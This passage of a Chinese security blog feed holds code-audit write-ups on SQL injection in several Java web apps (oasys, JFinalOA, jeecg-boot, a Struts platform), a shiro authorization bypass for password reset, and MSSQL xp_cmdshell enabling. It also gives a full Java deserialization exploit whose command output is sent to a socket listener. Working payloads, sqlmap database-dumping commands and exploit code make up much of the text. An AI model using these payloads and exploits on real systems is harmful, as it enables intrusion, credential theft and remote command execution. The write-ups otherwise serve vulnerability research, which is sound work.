    <url>/2020/12/15/44/</url>
    
    <content type="html"><![CDATA[<p><a href="https://gitee.com/aaluoxiang/oa_system">https://gitee.com/aaluoxiang/oa_system</a></p><h1 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/cn/gson/oasys/controller/inform/InformController.java 68行<br></code></pre></div></td></tr></table></figure><p>有一个<code>informlistpaging</code>方法</p><p><img src="/images/44/1.png"></p><p>在该方法中定义了一个字符串请求参数<code>basekey</code>，用list集合接收了<code>sortMyNotice</code>方法处理<code>basekey</code>等参数的结果，跟进查看哪里定义了<code>nm</code></p><p><img src="/images/44/2.png"></p><p>跟进<code>NoticeMapper</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/cn/gson/oasys/mappers/NoticeMapper.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/44/3.png"></p><p>转到mapper层</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/resources/mappers/notice-mapper.xml<br></code></pre></div></td></tr></table></figure><p>在此数据持久层搜索调用到的selectid</p><p><img src="/images/44/4.png"></p><p><img src="/images/44/5.png"></p><p>在like后面直接用<code>$&#123;%%&#125;</code>进行模糊查询，导致了漏洞的产生</p><p>漏洞验证<br>根据controller的路由构造url：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">http://localhost/informlistpaging?baseKey=<br></code></pre></div></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">sqlmap.py -r D:\test.txt<br>sqlmap.py -r D:\test.txt --random-agent --dbs --current-db<br></code></pre></div></td></tr></table></figure><p><img src="/images/44/6.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>SQL注入</tag>
      
      <tag>oasys漏洞</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>JFinalOA SQL注入</title>
    <link href="/2020/12/14/43/"/>
    <url>/2020/12/14/43/</url>
    
    <content type="html"><![CDATA[<p><a href="https://gitee.com/glorylion/JFinalOA">https://gitee.com/glorylion/JFinalOA</a></p><h1 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/pointlion/mvc/admin/oa/workflow/flowtask/FlowTaskController.java 123行<br></code></pre></div></td></tr></table></figure><p>定义字符串请求参数<code>defkey</code></p><p><img src="/images/43/1.png"></p><p>随后调用<code>getHavedonePage</code>方法把前端传来的参数进行处理，结果封装到<code>Page&lt;Record&gt;</code>，查看<code>wfservice</code>是从哪里定义的接口</p><p><img src="/images/43/2.png"></p><p>跟进<code>WorkFlowService</code>，在该service层中搜索前面调用到的<code>getHavedonePage</code>方法，在该方法中含有一条没有进行预编译sql查询，此处直接进行数据查询导致了漏洞的产生</p><p><img src="/images/43/3.png"></p><h1 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h1><p>路由配置文件路径</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/pointlion/config/routes/OARoutes.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/43/4.png"></p><p>在前面<code>FlowTaskController</code>的<code>getHaveDoneTaskDataList</code>方法中含有一个越权漏洞，此处只获取了登陆状态，没有对用户鉴权</p><p><img src="/images/43/5.png"></p><p>获取登陆用户信息封装到cookie里</p><p><img src="/images/43/6.png"></p><p>所以这个注入只需要普通用户就可以利用，这里创建一个test用户</p><p><img src="/images/43/7.png"></p><p>根据该框架路由配置结合controller的方法构造url</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/admin/oa/workflow/flowtask/getHaveDoneTaskDataList?pageNumber=&amp;pageSize=&amp;defkey=<br></code></pre></div></td></tr></table></figure><p>注入payload</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">1<span class="hljs-string">&#x27; UNION SELECT 1,2,3 --+</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/43/8.png"></p><p>语句报错，丢sqlmap注入</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">sqlmap.py -r D:\test.txt --random-agent<br></code></pre></div></td></tr></table></figure><p><img src="/images/43/9.png"></p><p>跑库</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">sqlmap.py -r D:\test.txt --random-agent --dbs --current-db<br></code></pre></div></td></tr></table></figure><p><img src="/images/43/10.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>SQL注入</tag>
      
      <tag>Jfinal漏洞</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>某Struts框架平台sql注入记录</title>
    <link href="/2020/12/04/42/"/>
    <url>/2020/12/04/42/</url>
    
    <content type="html"><![CDATA[<h1 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">\src\com\asiainfo\newBam\action\systemmanage\UserManagerAction.java 35行<br></code></pre></div></td></tr></table></figure><p>在<code>searchUserByLoginName</code>方法中定义了字符串参数loginName，然后转到<code>userService</code>的<code>searchUserByLoginName</code>方法处理loginName</p><p><img src="/images/42/1.png"></p><p>跟进<code>userService</code></p><p><img src="/images/42/2.png"></p><p>定义接口，继续跟进<code>IUserManagerService</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">\src\com\asiainfo\newBam\service\sysManager\IUserManagerService.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/42/3.png"></p><p>还是接口定义，在该接口里没有对<code>searchUserByLoginName</code>方法做具体实现，全局搜索<code>implements IUserManagerService</code>查看其实现类</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">\src\com\asiainfo\newBam\service\sysManager\impl\UserManagerServiceImpl.java<br></code></pre></div></td></tr></table></figure><p>查看<code>searchUserByLoginName</code>方法</p><p><img src="/images/42/4.png"></p><p>跟进查看<code>userDao</code></p><p><img src="/images/42/5.png"></p><p>全局搜索<code>implements IUserManagerDAO</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">\src\com\asiainfo\newBam\dao\sysManager\impl\UserManagerDAOImpl.java<br></code></pre></div></td></tr></table></figure><p>查看<code>searchUserByLoginName</code>方法</p><p><img src="/images/42/6.png"></p><p>参数拼接，然后把sql语句直接带入数据库查询,注入产生</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>Java代码审计</tag>
      
      <tag>SQL注入</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>jeecg boot快速开发平台2.4SQL注入</title>
    <link href="/2020/12/03/41/"/>
    <url>/2020/12/03/41/</url>
    
    <content type="html"><![CDATA[<p><a href="https://github.com/zhangdaiscott/jeecg-boot">https://github.com/zhangdaiscott/jeecg-boot</a></p><h1 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/modules/api/controller/SystemAPIController.java 167行<br></code></pre></div></td></tr></table></figure><p>根据注释发现这里是一处查询，且<code>table</code>、<code>text</code>、<code>code</code>参数可控，这里把table、text、code传入<code>queryTableDictItemsByCode</code>进行进一步的参数处理</p><p><img src="/images/41/1.png"></p><p>跟进看看哪里定义了<code>sysBaseAPI</code></p><p><img src="/images/41/2.png"></p><p>接口定义，继续跟进<code>ISysBaseAPI</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/common/system/api/ISysBaseAPI.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/41/3.png"></p><p>这里为接口，往下看<code>queryTableDictItemsByCode</code>方法为空实现，所以全局搜索<code>implements ISysBaseAPI</code>查看其实现类</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/modules/system/service/impl/SysBaseApiImpl.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/41/4.png"></p><p>在此处搜索刚刚<code>SystemAPIController</code>调用到的里的<code>queryTableDictItemsByCode</code>方法，也就是这里</p><p><img src="/images/41/5.png"></p><p>搜索结果</p><p><img src="/images/41/6.png"></p><p>寻找参数是否包含有<code>#&#123;</code>，然后转到<code>getSqlRuleValue</code>处理table</p><p><img src="/images/41/7.png"></p><p>此处不算针对注入做的安全措施，所以回到<code>SysBaseApiImpl</code>里继续跟进查看哪里定义了<code>sysDictService</code></p><p><img src="/images/41/8.png"><br><img src="/images/41/9.png"></p><p>跟进<code>ISysDictService</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/modules/system/service/ISysDictService.java<br></code></pre></div></td></tr></table></figure><p>是一个接口</p><p><img src="/images/41/10.png"></p><p>全局搜索<code>implements ISysDictService</code>查看其实现类</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/41/11.png"></p><p>在该实现类里搜索<code>SysBaseApiImpl</code>调用的<code>queryTableDictItemsByCode</code>方法，也就是这里</p><p><img src="/images/41/12.png"></p><p>搜索结果</p><p><img src="/images/41/13.png"></p><p>在这里把前台的table，text，code参数传入mapper进行数据查询，跟进<code>sysDictMapper.xml</code></p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml<br></code></pre></div></td></tr></table></figure><p>搜索<code>queryTableDictItemsByCode</code>，发现传入的参数使用了<code>$&#123;&#125;</code>直接进行查询，导致了注入的产生</p><p><img src="/images/41/14.png"></p><h1 id="漏洞验证："><a href="#漏洞验证：" class="headerlink" title="漏洞验证："></a>漏洞验证：</h1><p>根据controller的路由构造url为</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">http://localhost/sys/api/queryTableDictItemsByCode?table= &amp;text= &amp;code=<br></code></pre></div></td></tr></table></figure><p>根据mysql的特征查系统默认数据库</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">http://localhost/sys/api/queryTableDictItemsByCode?table=mysql.user&amp;text=User&amp;code=password<br></code></pre></div></td></tr></table></figure><p><img src="/images/41/15.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>Java代码审计</tag>
      
      <tag>SQL注入</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>MTV-漏洞复现/验证专用框架</title>
    <link href="/2020/12/02/38/"/>
    <url>/2020/12/02/38/</url>
    
    <content type="html"><![CDATA[<h1 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h1><p>推荐使用jdk&lt;=1.8.0_181</p><h1 id="运行"><a href="#运行" class="headerlink" title="运行"></a>运行</h1><p>启动框架查看效果<br><img src="/images/38/1.png"><br>测试fastjson反序列化漏洞<br><img src="/images/38/2.png"></p><p>可以自定义添加其他漏洞环境<br>项目地址：<a href="https://github.com/novysodope/mytestvul">https://github.com/novysodope/mytestvul</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>Java</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>mblog4.0存储型XSS+权限绕过</title>
    <link href="/2020/11/20/36/"/>
    <url>/2020/11/20/36/</url>
    
    <content type="html"><![CDATA[<p>mblog4.0：<a href="https://github.com/langhsu/mblog" title="下载地址">下载地址</a><br><img src="/images/36/1.png"></p><h1 id="存储型XSS"><a href="#存储型XSS" class="headerlink" title="存储型XSS"></a>存储型XSS</h1><p>不分析了</p><h1 id="shiro权限绕过"><a href="#shiro权限绕过" class="headerlink" title="shiro权限绕过"></a>shiro权限绕过</h1><p>引用了1.4.0版本的shiro<br><img src="/images/36/3.png"><br>在该版本的shiro中有一个权限绕过的漏洞，查看过滤配置</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/mtons/mblog/config/ShiroConfiguration.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/36/4.png"><br>根据过滤规则进行绕过即可，比如密码重置，正常没登陆访问是这样的：<br><img src="/images/36/5.png"><br>在/pwd后加一个/即可绕过进行未授权密码重置<br><img src="/images/36/6.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>shiro权限绕过</tag>
      
      <tag>存储型XSS</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>手工提权-mssql启用cmdshell</title>
    <link href="/2020/10/28/32/"/>
    <url>/2020/10/28/32/</url>
    
    <content type="html"><![CDATA[<figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">exec</span> sp_configure <span class="hljs-string">&#x27;show advanced options&#x27;</span>,1  //启用高级选项，0为关闭<br>RECONFIGURE  //根据回显提示重新启动一下<br><span class="hljs-built_in">exec</span> sp_configure <span class="hljs-string">&#x27;xp_cmdshell&#x27;</span>,1  //启用cmdshell，0为关闭<br>RECONFIGURE //根据回显提示重新启动一下<br><span class="hljs-built_in">exec</span> xp_cmdshell <span class="hljs-string">&#x27;cmd命令&#x27;</span><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>渗透实战</category>
      
    </categories>
    
    
    <tags>
      
      <tag>提权</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>反序列化-在利用链里利用socket进行shell回显</title>
    <link href="/2020/10/20/33/"/>
    <url>/2020/10/20/33/</url>
    
    <content type="html"><![CDATA[<p>以Jdk7u21为例<br>首先看jdk7u21类的getObject方法<br><img src="/images/33/1.png"><br>在getObject方法里定义了一个<code>command</code>，这个<code>command</code>就是poc里的恶意对象，此处用Gadgets类的<code>createTemplatesImpl</code>方法处理获取到的command，跟进<code>createTemplatesImpl</code><br><img src="/images/33/2.png"><br>处理返回<code>createTemplatesImpl</code>，跟进<br><img src="/images/33/3.png"><br>此处就是获取恶意对象进行具体处理的地方，我们把原来的string cmd注释掉，重新写一个socket的客户端，利用发送到目标触发反序列化漏洞来进行socket连接</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">java.net.Socket socket=<span class="hljs-keyword">new</span> java.net.Socket(<span class="hljs-string">&quot;127.0.0.1&quot;</span>,<span class="hljs-number">9999</span>);<br>java.io.OutputStream outputStream = socket.getOutputStream();<br>Process whoami = Runtime.getRuntime().exec(<span class="hljs-string">&quot;+command+&quot;</span>);  <span class="hljs-comment">//直接写死命令也行</span><br>java.io.InputStream inputStream = whoami.getInputStream();<br><span class="hljs-keyword">int</span> len;<br><span class="hljs-keyword">byte</span>[] buf=<span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-number">1024</span>];<br>java.io.ByteArrayOutputStream baos=<span class="hljs-keyword">new</span> java.io.ByteArrayOutputStream();<br><span class="hljs-keyword">while</span>((len=inputStream.read(buf))!=-<span class="hljs-number">1</span>)&#123;<br>    baos.write(buf,<span class="hljs-number">0</span>,len);<br>&#125;<br>inputStream.close();<br><span class="hljs-keyword">byte</span>[] bytes = baos.toByteArray();<br>outputStream.write(bytes);<br>outputStream.flush();<br>outputStream.close();<br></code></pre></div></td></tr></table></figure><p>再新建一个socket服务端serverexp.java</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">package</span> ysoserial;<br><br><br><span class="hljs-keyword">import</span> com.sun.security.ntlm.Server;<br><br><br><span class="hljs-keyword">import</span> java.net.*;<br><span class="hljs-keyword">import</span> java.io.*;<br><br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">serverexp</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Thread</span></span><br><span class="hljs-class"></span>&#123;<br>    <span class="hljs-keyword">private</span> ServerSocket serverSocket;<br><br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">serverexp</span><span class="hljs-params">(<span class="hljs-keyword">int</span> port)</span> <span class="hljs-keyword">throws</span> IOException</span><br><span class="hljs-function">    </span>&#123;<br>        serverSocket = <span class="hljs-keyword">new</span> ServerSocket(port);<br>        serverSocket.setSoTimeout(<span class="hljs-number">10000</span>);<br>    &#125;<br><br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">run</span><span class="hljs-params">()</span></span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">while</span>(<span class="hljs-keyword">true</span>)<br>        &#123;<br>            <span class="hljs-keyword">try</span><br>            &#123;<br>                System.out.println(<span class="hljs-string">&quot;等待远程连接，端口号为：&quot;</span> + serverSocket.getLocalPort() + <span class="hljs-string">&quot;...&quot;</span>);<br>                Socket server = serverSocket.accept();<br>                System.out.println(<span class="hljs-string">&quot;远程主机地址：&quot;</span> + server.getRemoteSocketAddress());<br>                <span class="hljs-comment">//DataInputStream in = new DataInputStream(server.getInputStream());</span><br>                InputStream inputStream = server.getInputStream();<br>                <span class="hljs-comment">// System.out.println(in.readUTF());</span><br>                <span class="hljs-keyword">int</span> len;<br>                <span class="hljs-keyword">byte</span>[] buf=<span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-number">1024</span>];<br>                java.io.ByteArrayOutputStream baos=<span class="hljs-keyword">new</span> java.io.ByteArrayOutputStream();<br>                <span class="hljs-keyword">while</span>((len=inputStream.read(buf))!=-<span class="hljs-number">1</span>)&#123;<br>                    baos.write(buf,<span class="hljs-number">0</span>,len);<br>                &#125;<br>                <span class="hljs-keyword">byte</span>[] bytes = baos.toByteArray();<br>                System.out.println(<span class="hljs-keyword">new</span> String(bytes));<br>                DataOutputStream out = <span class="hljs-keyword">new</span> DataOutputStream(server.getOutputStream());<br>                out.flush();<br>                <span class="hljs-comment">//out.writeUTF(&quot;谢谢连接我：&quot; + server.getLocalSocketAddress() + &quot;\nGoodbye!&quot;);</span><br>                server.close();<br>            &#125;<span class="hljs-keyword">catch</span>(SocketTimeoutException s)<br>            &#123;<br>                System.out.println(<span class="hljs-string">&quot;Socket timed out!&quot;</span>);<br>                <span class="hljs-keyword">break</span>;<br>            &#125;<span class="hljs-keyword">catch</span>(IOException e)<br>            &#123;<br>                e.printStackTrace();<br>                <span class="hljs-keyword">break</span>;<br>            &#125;<br>        &#125;<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String [] args)</span></span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">int</span> port = <span class="hljs-number">9999</span>;<br>        <span class="hljs-keyword">try</span><br>        &#123;<br>            Thread t = <span class="hljs-keyword">new</span> serverexp(port);<br>            t.run();<br>        &#125;<span class="hljs-keyword">catch</span>(IOException e)<br>        &#123;<br>            e.printStackTrace();<br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>目标机起一个含有反序列化漏洞的服务，<br>写一个正常的POC</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">package</span> ysoserial;<br><br><span class="hljs-keyword">import</span> ysoserial.payloads.Jdk7u21;<br><br><span class="hljs-keyword">import</span> java.io.ObjectOutputStream;<br><span class="hljs-keyword">import</span> java.net.Socket;<br><br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">exptest</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        Jdk7u21 payloadtest = <span class="hljs-keyword">new</span> Jdk7u21();  <span class="hljs-comment">//调用jdk利用链</span><br>        Object vultest = payloadtest.getObject(<span class="hljs-string">&quot;ipconfig&quot;</span>);  <span class="hljs-comment">//恶意对象</span><br>        Socket socket = <span class="hljs-keyword">new</span> Socket(<span class="hljs-string">&quot;192.168.83.166&quot;</span>,port);  <span class="hljs-comment">//建立连接</span><br>        ObjectOutputStream oss = <span class="hljs-keyword">new</span> ObjectOutputStream(socket.getOutputStream());  <span class="hljs-comment">//获取输出流</span><br>        oss.writeObject(vultest);  <span class="hljs-comment">//触发恶意对象</span><br>        <span class="hljs-comment">//System.out.print(vultest);</span><br>        oss.flush();<br>        oss.close();<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>然后攻击机运行POC即可看到回显<br><img src="/images/33/4.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>shell回显</tag>
      
      <tag>JAVA反序列化</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>burpsuite高亮插件</title>
    <link href="/2020/09/11/30/"/>
    <url>/2020/09/11/30/</url>
    
    <content type="html"><![CDATA[<p>插件为python环境开发<br>自定义信息单独泄露和组合泄露高亮颜色<br><img src="/images/30/1.png"><br>当发生信息泄露以外的情况时标其他颜色，比如脚本攻击：<br><img src="/images/30/2.png"><br>自定义正则：<br><img src="/images/30/3.png"><br>示例：<br>使用插件后访问写好的目标，点击HTTP history就可以看到高亮请求，点进请求后会有个Keyword栏标出相应信息<br>效果图<br><img src="/images/30/4.png"><br>用法：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">burpsuite - Extender - Add<br></code></pre></div></td></tr></table></figure><p>ps：目前因为不懂正则的原因未完成userpss及orderid，ip（内网）正则有缺陷，xss正则待完善<br>可以自定义其他漏洞挖掘功能，只需要一点点的python基础</p><h1 id="CODE"><a href="#CODE" class="headerlink" title="CODE"></a>CODE</h1><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span 